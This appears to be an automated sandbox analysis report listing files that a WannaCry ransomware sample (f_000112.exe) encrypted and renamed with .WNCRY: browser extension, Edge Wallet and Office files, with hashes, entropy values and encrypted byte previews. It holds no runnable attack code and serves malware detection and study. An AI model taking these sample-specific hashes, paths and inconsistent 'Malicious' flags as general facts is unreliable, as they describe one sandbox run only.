                                                                                                                                                                              Preview:WANACRY!.....&...#g......9l.*1....b...v..:..%.b...\q.1(...d.....y...S]...6.............lH..Jv.}.YH..?...o...+........M...T.=..Z...&.,N.t.V..Vy.....29..yu_Oy.;bg.&...<..a....i.9O.I....7];Vt..B.Q Y.fb`.J].Q7.....x?...a).\...~.O]E..........t..u..F.@t..5E.>F."....@.......k%0J.o.\.?..2....w..0rd>7...&.<..g..E.j N..2=.9.F^.....Ze..@'.....yV..6..........t.\.fq.|.Tq...>..<i...Kmj..&.F.......=.....K..M......$.. ..qc..g..:rL3.6...K..........P^.6.i.?.f.Y.I)._....R..6..:..+.B\.....4...W&.7.......!6.......H...OK&W=x...."vEe..9T{....+.E..B...s.R...pO.r#.2...>.....`.c.L..&....S<.....&.....L.O.M?.b.h+..yj`.....>m.........H.....}Q?.e."..d.M.y......Tt&3.]G.+Z.P...`.eD.....Kt.....K.m..>.rEj....jt...GEa.. ......C.C..d.....".......3.nt..f...?.Xu....E.A...Y...e]....UY....9...w.].ngl.(.S$GP>.....w.R..X...KC..*F...7..|<.D0.+.)L?.s.,s!.vLf...h.. .j>.t.0d.J..........:V...M.....Z'..\Q$=..|.......QM>V~..+........".V{wAu..0.C..4....@B..g....:*..6.&./..:o..V....]..=/....

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\64.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1512
                                                                                                                                                                              Entropy (8bit):7.87432507201005
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkpBlAmD2GPy6l0fK/U0Fg1evtUpMIg3iD/Pl+ZclSTUDSu4kF5Xzy9b0/3LKHyB:bk/iN6cK/fpvtUrg0lwcIwGuLFFWQjKa
                                                                                                                                                                              MD5:1A6A8FB34E1DC358C5FD14755DAED7E1
                                                                                                                                                                              SHA1:FD86B248A20383E70222CF231C61320EB35D977D
                                                                                                                                                                              SHA-256:921E4082A330CC6488F27B3F8E2D7759A01C4ADECE489A6961AC3713E0FDEF85
                                                                                                                                                                              SHA-512:169DB0B923129B6A854F3299E5764B32E70F772039721758E4148C1E151294A62323F589A3BD38310B0B9F8AA9059E9D79DC35A9C61D89386FB50B8AA2FD63A4
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....<t.o.A.I.j..4|H..:.G{...qx..R0.=`........&=..2.1.j..I..pY.a...98\FH!. ......7....(.y....I.n..b...s.5...>.X.|.z.m.p.L.s.K.......,6W..3........407.4.8...f...........l.#)....;Z(.'.....{L.........Iy..O..u.*E...~..........6.&..UY.i.+F.E.q.[.$...............]..J....6.M..Wu......b....SL..p+.7X.C?VuS.[.].z...g...vG.t.,.F.......~..OW.8.sO.S.g RZ..a.G.._.P...P't.....Xo...2.~.yX....4c@y. .M.;tw...y......5../.vRg..V.Q!6.7..y..&?..E.j..oUyr6..sw..^.b,G.F.t&..m*.YM...w%..[.-.(..1(.Ui[)-..7>...>3.A....=...gA......R`.y...\.....|cWr.o...n.85...=Sr.F...............n..:..._uq. `.....B.t.c.Is...B..aZ[g.7.B.......*SX..3..h.p2.B=....uIk...6.W.. }N4.#0.`.e,;K...U..6r.{..-o2.......C.g.r;..f8..\~.2..k.......p....v...}..tV.lum.......G,)n....'.J...7.gy...O%S...p'$....y_..f .SK...q.^....p.d.t..8M.r.%,o.T)p[&.H..Yl.(<.*...Y..........d.|.-/.Q.r.....M^e..adN...5P.OO.b..X.r.r'....k..P.W..,.q..n.u...Q.u./....c:.}.PD.^.?........Ou-..2..Y..r....f..:

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\96.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1752
                                                                                                                                                                              Entropy (8bit):7.892986702111022
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkpsjbAKYr9/g/UvVCpKtPjpWjlerTscA:oOjbAPr9I/QCcjW0rTPA
                                                                                                                                                                              MD5:F3096FA74E27DA29528DE294ECD194C2
                                                                                                                                                                              SHA1:489FBA3238EC80F7F991CB434DEAF0083825AD6B
                                                                                                                                                                              SHA-256:5D874BFAF0A5A874940B325BC6F77C8267B06E74958DAFAA0AD4066611134004
                                                                                                                                                                              SHA-512:461EA8C428583A62F86765C9B10BB17031744018564EF1409CDC657AE014DD430AC88DF92472C1D732BE4342955102CE1AA720CB6B304E2D3003A70B54C61D99
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......}|..8..bz...R.......$/a....Z..H..p.p...QS|...e.@n>7.O....r...i&.c....Pq.%0/'.#0~a...7..._......^.;.e.5YQ8XA..+.6....b.D.T.........P....8R}./..{a"......+..iK@_6.CC..p....9.A%K.3....6.n.I.h.....A..nF.U..V9vA..K..).7.....#u..!eo.].Z/]...2..L...............gX`:.xmz...9UL7^.yc...a..d...I..I.BR..u)R...YRKS....E.....^5{............. .A.KF.l........[n9y..7.W.....e.^nn.........<>..GS.X.4..`.....~S....C.p..Z.....A.)*.~%.....3....\E.%..qA4..23..W....)@;..{.I|.......7...{..Fv.sU..G..V....<..J-..\J3....[...u|D..s^.J%h(.o..^..?..h.... .T.v...'.PGC.....d.l9..,..C.o.C.A.>..BU.4-J.`..6.@.<...E.K..k..v.oT....M..4.........5.b...[#.....P..n8.M...#..C....N.....u....).f....5..u......'-...w....2..M).(apf..a..z6B.l...#.r-"j._.g.h... ji9{.......4.....#.....J.i3G".I...Nmm.+,H......#......=.j...0sSG..}k.C.F~.!0H........A}e.m.... ..E.t........{_.z.>..E..Z1.VZp,.v...d.2.....Q..d..k.;.W..2.S..X.u...B#"8k..lh..h[k...8~.:..4.../.#.9...3{k.3.#.u.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\eventpage_bin_prod.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):80552
                                                                                                                                                                              Entropy (8bit):7.997438208691116
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:WeTqyCTgTzZCNgXkqPNo1sBScr+59HHg8nkHAYxmJjkI8rwUIFv/sw:CyX0cNxBS55FGAYxm9f8+/sw
                                                                                                                                                                              MD5:2414448F143DE507FA13E4CF73D595F7
                                                                                                                                                                              SHA1:CC8D7055C3FE0E12893830685513F9D138F9FAF3
                                                                                                                                                                              SHA-256:5EED196F2804378203DD6BA1FCD0F862B2691D4895EBB2E743BC3F6C406C6385
                                                                                                                                                                              SHA-512:6ABCDB1B41762C24CD6C43ABEDDED6488A443B110D36EB70F66F07BDEAAE9524C663E505FCD824EF90D09F2EE74A8E7CBDAB0E4F1B5C5625FA834CB889D9FF83
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......:.x......:...oi;...>~...L.L.I.C....L^.....*i......N.&.q._J.Nd.......,..<..-.~..^.....}K.H..x.!..H.B.=w.Q....{.#..^9r.4...3....H...k.....%aF..%.....c.Co.E..2C...u&|*.q.].0...I5.. ........}..<'Q.p...BV..Z..D.S...d..}.t1.*.........0Frt..9..n.......9......P...M..>...U_l...*ee..$B[uO...~.~CG..?8...s(DSnN.u9...-PV.V.=HA..k..:........Z..l...!/...#.,.d.;t...G.%0qzln0...............u....g...{%......d.W.=lC..J...$@.........f...h..%j..S.o..Re zt _.!.....L...u.q.%.;...f....|..%...si..c.0..C.i.i...b_l..6ye..lP,..%..{..eE..K..{.!u....K..|.Z.M.Zz...gu....U...hZ..NuhS.*dNe..N`.....I..R...L.....Zx.B|.Y....#...V.....s$..n.......a...2...D...(.*'6.SOo....S5...4..Y.....#..Wi{..U.+Tp.)...i;X.rj...Kh...B......*.._.5LF.....)Ke...<\..m.z.P.]d...P..../...L.Z.~.d.e..C...G.t*....c..-...Gmg.L.].6.}.,{./...7 ..w...[..\}.y..m{.o..~.-vH.3A.+.Yc..[...i6.k.g....\=xg...d.....v.0T.@...A...Q.....@.......W.*.u./Y.....U.Gf.!...2...W.!qM..D.,.._.2..F..8.Ub..n.rm..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\page_embed_script.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):584
                                                                                                                                                                              Entropy (8bit):7.5734597763748255
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:bkET222cUsnbR8Y1hFZQ0VfLJaNr3skE0IOSlzL9GiExHmV:bkq2WUsbbLeW09EM4VGimHmV
                                                                                                                                                                              MD5:4DD7CADF0336B65336DD0AE6C9037114
                                                                                                                                                                              SHA1:7C526B62F5C8B22B87BD2BD3611E901832DF890F
                                                                                                                                                                              SHA-256:F0D2D56D691BF42BDACC5FC35F96747AD6C662FF58471FD3BB37C9D9998F8815
                                                                                                                                                                              SHA-512:AFF52328339CCBD7FE198701CE893F55DA59B034081F6A285B0B8402375EEFF0960EFEF23F04A02A28DF8A7342C2853364D1B05BD0E5602F3BE6D1AB3E527091
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....U?D..YT.E$.D....x.<....3.}%..]h8.4.m.*.O......O.*....k.I.w......E............Io*.U=..-.....9.Fh].hWG....3...q..9.... ....;P.kR...{C.i.k..a.....(M`...-....(.'.......?3k..h.N....O8. ....H.c...>MQ.k.......m...T.pK.....\.t-....A ..|.>.6>.*.E.....Q....#........\...9....'t...i....]w.0.m.]....Yd..~..H-.aXb4.q(.T@U..Q..C......13<..e...L...~c.0.i.J."E..A.}s..B2'.0.'Cu..7.G..}^..k....xr...'..B..y8}k1.L/.F.*...|4.&P:.G.$...f=a....v....]{..Zo.......H.<.OcP.}...tY.dZ...X.7.a....u..-# }hu..-...p}Q..<v...9.'C...LW,.U.R`.1.......<jd...`..B.JM3....g..Y'.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification_fast.bundle.js.LICENSE.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):584
                                                                                                                                                                              Entropy (8bit):7.645305368603743
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:bkEwTJxPUaDwdSM3pkqohP/DS7C4OFd5oGT4C8ayr3Dx/6xUDeDn7q1/9l5qzv1/:bkbFs0aohP/DNFd5oGTlszxSGyD0l5q1
                                                                                                                                                                              MD5:451E861EE304FEA4EC8E55466BFA800C
                                                                                                                                                                              SHA1:CD402212A5A97FE205451F89DE7DDA13541863C1
                                                                                                                                                                              SHA-256:EE72E7C67EA45DCD51A12E5C994FA51F04F6BDDC8B24DC3571A6E4B104AE766C
                                                                                                                                                                              SHA-512:5D051681FA3A23827C76D85987DB246702E39C1FCEBD38F0FEF0E2DF18AAE0A1B3B41C07F4C1ED05CFDBD1241BBCB76AFD818A74F64086E7012F56C172974E24
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....N...\..Q.r1.`............_...+..D3g.....g.`t..Z+U`...}.....ZT.....c...g...a..~...:*...l..l..D..D]+X.....f.E..i.5.C...c...d#<.r....bl.]-......q.....3.2...N.>...,>.H.......V.RL.2:..i..Si.tjG..\$.y*.h..w;.b9...v.....2{.1.MC...}."....N.T....N.t..h....'........&.Y.......y..9W(..7....:..R;+../b.Lkp.<.#.........$.../n.A.C.yr_4...0 .!...e......t.........=g.J.......WE8G...i..*.}WTzp].?...^..tyL...\....9......Y&../}..6>..;...7S.P.......a...>...dq..j.1..Uk.-....a.O..sZ.vm.1uw.....uid..).........S...f.Th....H)t."~..i...e1...,.{~.X...(-d..!G..,.....W.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Tokenized-Card\tokenized-card.bundle.js.LICENSE.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1608
                                                                                                                                                                              Entropy (8bit):7.887061783207562
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkNE3bMReX5Kn3qS7E6pj954N0ROfRWSPnU6H0Qp/TNjbm9vNUtARzeXPCjvVBR:bkNubMOK6avPvO4IUaBbmlNUapoaj3R
                                                                                                                                                                              MD5:50C10B5E36A0808FEAF129B7EEB4311C
                                                                                                                                                                              SHA1:733C42C8084DE5A6B3294ED6B9590A41B2EDFCD7
                                                                                                                                                                              SHA-256:A90B175439380F6B6512E729EB6EDEEA5F891920B516A59015BEE08043DBD9CB
                                                                                                                                                                              SHA-512:30B2A286E70C86D49A6A54AEC1C5E00791D5696331ACFDCD226AED55AA430941E42E79238F6A39D573EC2D0C07AEECE30C690099D5D35030683E83677A1DA790
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....Pt.gkpVm....[..?...-.VA.o+!.q>..K%....g+...z>G......MZ..\$.d5.N...N.U.....`..bX../6.V.N.^= ..e6c../.*l.<.E....,.JD,3+......~......9.ld...j..B.f....../&..{....u.6....M./PS.wE.h.%....."a..dZ.x.. .....-..K.J.Zy.I..Q\6.V.ni=%..iH....2.V.r.........%.........(...S.}.m10..Y#.9.V!s.2.-..Ztf+5...|@....c.......Q....../S+y.~....V..;..2.+.......\C.......V.U.vY...Xngq.+...5../....=..Z.\.X.$.Q_...fA..T.O.Y_l../h...p....@...>&FP...Bv.)0..5..u..]9T.Fg[3.........U..\dWcK...-+v@...&.......;.s.....T.....|....!.x.....k..h-B.....$.`..F...s.]....>a....gm...O..I.j6Z[./.......A...O.>?.s.%....!.LJ.t....%5*.[P.l.j..!E...M=6a..Y..K.z5B.......<..a....>..........'p.*.c?....y..*;\..w+.$.G..(.$....E.'.p..PKe.^.E..M...]....nx.....k.F.V.F{.....r.Fy..QE...!`......e.5.b.p...a..3....~..^b..*.1...Z] .........n.*.`..{...3.Wto..%i~..=..-0../f..I..!.[..M...6.Y0.*..B.*.z...-....c8.?..9....m.....F.5F.S..#\-.,...l9]R.. [H..a..s..v.K..i.A....{/.p.U.......H..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.bundle.js.LICENSE.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2088
                                                                                                                                                                              Entropy (8bit):7.912262613564004
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bklAzhd4mPo/6BpepIeEfIX9+MflxrQZ8AQAClD2EOyx5:ol04mPW6qejScMflxrE8Aqj5
                                                                                                                                                                              MD5:058FC4FBBAA9D8CFFFD4CDBAA6ED1EE2
                                                                                                                                                                              SHA1:761AD0E9FDE2C24D44CC1FBDDA4352674B5318C3
                                                                                                                                                                              SHA-256:912E7D565F9171DD90E40425BC50E60C9659E42EE5E344EEE0960E4177A007C9
                                                                                                                                                                              SHA-512:DA169C4FD6CCBC05CD3475F8DA191091CC8FCA4D4BA126BB20A176D5CBA7E73F26FA3411E361B0CD589A7DBF8D6CD5408075ED5C3DEDA17AD61886FA18A70C21
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....,om....K.^=T...Z.`cP..WK.a..0.....]j....2.9'.#.... ...7...gB.hwh.).........'z.x....O.{........l.g....{1p..@|..I"E*..i...4R};/e....Zy...g!..B.......r..^Z...I\..7R+..~....m..WAT9....*..QW.....]3...H3.K.*.%.........b....}.=..dGX.-.....VX...@Z.I.[.v!.#...............Fx..g.......2.h.P.^w...A...f...Yy...L...mI.x.]=m4.~.rP..!....RA.*.I..|$.%.8.R..}....Q..y..d(.b._..a.p.Z...Q.7h.!.z&N..w..(.v..;2.;.5...z.$O..a.T...w.}V.L].N....5..(j...P..p<..^..._. ./?.g1....:...;i..../....q..,......'z/....hl:th<z.!.Yt.{.u.D...@....^.B_$...e...F.e..D.,e...xf...'.YNY.v..a.J.l....7I.5.....!c..H...c......]...J..G...<.`.....+1R...=........o.u3...e....F.'...n..P..*oU>......L.0.c.....2.^..q[.......1...%....."O3Q....,.,...R...R....+.....Z.I..plhc...z.....t.....;.C..k..v..[.?.C}.Q.e.....e;Ok.H.?...-...d...dO4qW.45F....9..U"......%....7|.t[S. F.?..w........g.6mH....|..A...........S*a..e|j..l.._..H...V].6a..//rJ<..^}.Y....=.us..z....N..?+.4*L.i..c...z.J

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Office\16.0\DTS\en-CH{EDAA83FF-51D7-4824-B535-F72B715C4190}\{5B246DB7-240F-41D6-864B-DFEAEA6DE058}mt45299826.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):8984
                                                                                                                                                                              Entropy (8bit):7.980255028495696
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:EjuwyAyChQQ3jxcuvJkpI324V33S+O4/zuUUd/K1eImi+:XnRUjCuvJkpsHVHSlozuUUd/K1eI2
                                                                                                                                                                              MD5:0E7B75FC20B52A1691F94B24D3F22F2F
                                                                                                                                                                              SHA1:4DBC8DFF85683D71C0E94FD7E2EFD7FBB3724860
                                                                                                                                                                              SHA-256:E248CFE268EFDEDC6F36A3892A52DB990B2CDBF57AA7CB97673D15267BF68134
                                                                                                                                                                              SHA-512:097FD5A74E0ECC692C13C96600F8F610DBAA8A2A2244B47EE4814492425CE3D231FED6E0A762EB25BDFF06039E2835D00B42AF334C6812FE603AADECAA1A4A34
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....`.qA....JN.*...=.v..g....>.-.......$.6..|?m@..=...0R......M..C*..6g...0....T.......j.M..N...r...!.wm..-....HDhe..6j.\........;.D.[...c.e.}........._;9..*Y.l..P..7.10Xx..&p .q.w..s@:...{..!....!....$...C.+.8d5........j...k...a.pl..............!......l......]..MN..Q.JK.Iw.{...GSi.~>.k.\.~..O.S...<...'A.^....D.n;;....E.....o..DD..:.&..(Gu...J.;jL04../xu.E......nA..._...M.l3..b......u..&.a)K-We..y@o..../..P....[.:JJm.\.)...Tf.....#.{....`^...}....F.q;u'....J.X..j.C.i..-.c.(..nK...(.wD.I.......b.Z..~.nG..)+.C..t{...zq }D<T..6..|...6.WB...]..]..a.8.......C#.-.o%..V.@.3........e....|.;......F.=....b.`g..1}..Y~I..:.....JB.....l.....?j..\we....9We....Me~ 5o...g..AQL......m..]g#..g........%v|.5....K..Sa.j.....T....y....|......6..<.+?..X-..t...c).8q..........y. .d.R.`.g:{..t.[....'o.fo...`..\.+...br.j.9nk .v.8%I.G. .d.E}X.~.\}"A[(....k....B.@.8...n..#.....a.O3.............a....M.n.8-j.....4W....H..DeJ..E..E.i.%..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Office\16.0\DTS\en-CH{EDAA83FF-51D7-4824-B535-F72B715C4190}\{7799FD4F-1C90-48A8-A66A-C0E9B8019F3B}mt16400647.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):7384
                                                                                                                                                                              Entropy (8bit):7.978765065706144
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:1h/zLgobM63d36s87nrOi/aHAldjhrgIW7UMIT:1h/FNqs6rVaHYdj5gI+zS
                                                                                                                                                                              MD5:7B4B48C3D0925F302A6AB61708D855FB
                                                                                                                                                                              SHA1:4955E0D076FA153B944FE516A5C8D3775D095A2B
                                                                                                                                                                              SHA-256:3CBD8EAC65E31C8E32A021FAA23C9C8E093E8E73C02CF2E986C1AAD14316CDAA
                                                                                                                                                                              SHA-512:B0703FDA1DDEEC6D0FD0F6193F5CF568171A49E56AD9131E6AD809A7173A77B5CBD2BBE005082B442AC2986DB58770F82BB673B02F90312981982FED8B8FBDFB
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........).c..6....Vb.{..?.>Q......?^%..f{PS".Y.3..IdL.3.{.....N..C8...E.R.h......L......,|.2.R.c..q.a....].....R....'..=;.&/e.>9......$.....Z`.3<r%!..4.v....y4..j......V...$...V2...ua.D....J...`+.2...u.......-G.)#I.....O...xl5.h......).<?.r.E/.............1......*.S.J..b..f...[.....T.e+.(.'..-h..|We..y}Y/.j..]!..E>.mP..`>./...........Ip'S.8........a.!....@.G0......&.p..................L..e.iAZ.Q.....+.. k......yL.#.UC.P......}./..lQ....v.U)W.J?7....IL.h...R.y......u...|y....;N...i..-...BL..8W.s.F..S....D.*'.....L.J...Ja}n....y......W".....W0.....f.}t|..98.mg.^......\.7..&..I:"..._]I..I......{yi...$p..]W..M*...l.;.#...m.......v....]W...Z.Ld..Z....)<R.z}....t.w].../.Z>fg.....".....O..h...<....o..Q.[..."r.6.N".4..k!.@...I.t..&.......{N...Z....}J=7%.}..r...)....a.7.FQ+.X+.v ..pg.h.S....E.?......D......-\...w...9.W.L..S....X.OU.R........K:.kL/......p...$v...u<qY.....s.A.,b.......0..#.'......H](:......q3.....r....<.{}...

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Office\16.0\DTS\en-CH{EDAA83FF-51D7-4824-B535-F72B715C4190}\{90890CB0-F806-4021-BE9C-4EB97114B98E}mt10000137.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):5240
                                                                                                                                                                              Entropy (8bit):7.966644240956555
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oU1yw3U3Zay0AEPONaWAHIQCbn02lZa2SGQ7YiOmNXVqJ4hA0lOOVvs:zswk3MBPONaWaIQ+SGK/lMqhA0ltk
                                                                                                                                                                              MD5:1D52A2DCBE65AA811A5298AAD0FCC244
                                                                                                                                                                              SHA1:98D58003752BE6CA4C48236E0A9A732CB6708911
                                                                                                                                                                              SHA-256:284C364A30714340E3B02A9E89F5BD2AA872480F0F0B28BDFAEC4574207C6EE2
                                                                                                                                                                              SHA-512:31467285689F10E4988065D1C136D7418C044A94688D8D74E1EC906DDFF956A33D0F883917C25E69A7DFEE3D3CE1E5A0962F4B8694FA9A0EEDEB163DB3C0CEC1
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......,e..cq...].9`hE....L.C.E.....9.C...Sy..(....|.i9.......(..F....6.".A...y.O7.a.....:.9..[.;`.......;...fq...{O&w.....'.....0..$.sj.;........{......b..D]_9.Z./~.],5.\t...oj...g.t....F..r..>.S.ED..7....m^....}...8e........RB...........U.....R...._........R...>U.. ....m..zx..k@g1....gNOX.:S..V.}..-.:h..*.~..ECU.6..j...AF..g.n.RQ*y..Tak....Ng....2.l.<.2.L..nS`....H....4.^..e...^z...J..F..|..]...E.SiY..8....T...;).-.R......Vs...IaW@..?..8..$......J.M_.....i....G..Q./..+.7'..Z..}.Iqr0...p...+\..-..e.|.......)........gJ..-e.>lT...m............M..ki.]~W...O$u.77?z...U....Zz..52c4.;c.<.8.e%.*vf.pMy$....n.HL49e..... "E.+Iq..r....3h...F.p.z.lO..#./+.h.. .l...v..f .WS$....?..z$..f=.........g&>.a6),4..@T..Z..H..-B.*j.LpN.......5.b.o_.k....6...=......e.....T86.-...gn!r..E....S.*M.!...q..u..~{F.1....ghxz.?.x@.a..=-..|}+...m....}P..j.....f..C..=.$`s....3..)~.C..i..J.Pk....*......4.8iGdQ.~....7.[.0"..-........?...vq.C...].D.].*....8..J8,n......}N

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Office\16.0\DTS\en-CH{EDAA83FF-51D7-4824-B535-F72B715C4190}\{9AAA6158-70E1-479D-AF72-1A54FF1CC6EA}mt11829122.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):14408
                                                                                                                                                                              Entropy (8bit):7.987686677218181
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:kMlQ1U4rdgTdCI72wrWfhN6rlRIB0BeRl0:kMlMU4xgw22hP6rnIBD0
                                                                                                                                                                              MD5:3A3C8B2F0EAAF9EC30ED1CF7D36B9A90
                                                                                                                                                                              SHA1:46EA1D497009665D5AF39AE043E2C603D165F17B
                                                                                                                                                                              SHA-256:861D45481F5C8B591267AFA57B0AB5AE95B6C932567CC37AA12385A96B5F722D
                                                                                                                                                                              SHA-512:A5D636BB6572FEB1DDC872985CC7B2839CD30EF1928531A17635E4C1B3BE1E0995435A9E08342E13DB2F8825BE62DB71180A862C307FDB0F9857E88AE353D85C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....$~.[....t4........]w..6.U.........]e.:.8(......6(...."..].g......$p~Z..#.V..u3....7{C=..X.j.DC.@.fQ\f..."....zn.z.ezaZ...6...#.t%..\.......-.v.......r.l8....dZ..c%.K..>..A..v$..E.../..1..P~.....9.4.....@..[.Bb'&.|....~E.rk)w.c.O2#..?........+7........(.).-z8@.......y...|:.H....u.x.3./b.%..>m3..?....5[.`.e.%.v.............n.kx$..lOh>.k..?. .p....<{.@.@.-..k.....Z|_..*...h..7-..#.G....j.6.?....I..G{?.......x.T....R.,E.2.h.......dd.d..m..+..8..l22.'..8..\.)"V].lS.EqV....p....w}..~.@...o....nv.._S..E.9......oL..Mh.....h.3r...F.;[...Z.r.?Tp......../. j.8.._}L..ISx...._d .=...:.........."...!...l[...\l?....@;.AW.ZXk...o..*|...j....K...M....9X.:..i).. .H..H..`:.J"...._.R..|p.......KE.".......+.>8Z..9.J.@..2...t@.\..oj.@..w&]x|..n.T)...e...d.F....}1......$=...oe;g4.W.qU..J.80.AA?.q...q.B.N...u."....tG`h[m?.m`......F.c.p..LA] -R...4.........W.fq...j.....8f......../.H....y......k4..W...k8...]l...Z.#.............,.Bp."s......w.....1m.~

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Office\16.0\DTS\en-CH{EDAA83FF-51D7-4824-B535-F72B715C4190}\{A1BEF0EC-55B5-48E6-88B2-B090A79161EF}mt66963475.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):7944
                                                                                                                                                                              Entropy (8bit):7.976091648048612
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:cv2eR/CKfWveNOSG3ttdcglKtDuGmdhnvpVrqRQxI1rqXi:cv25KOveN+/cvx3YhKubi
                                                                                                                                                                              MD5:FCE61F1534F800889BC0D3797B12F58E
                                                                                                                                                                              SHA1:63B180EC85A996EA89D843B1F8396E53D044A507
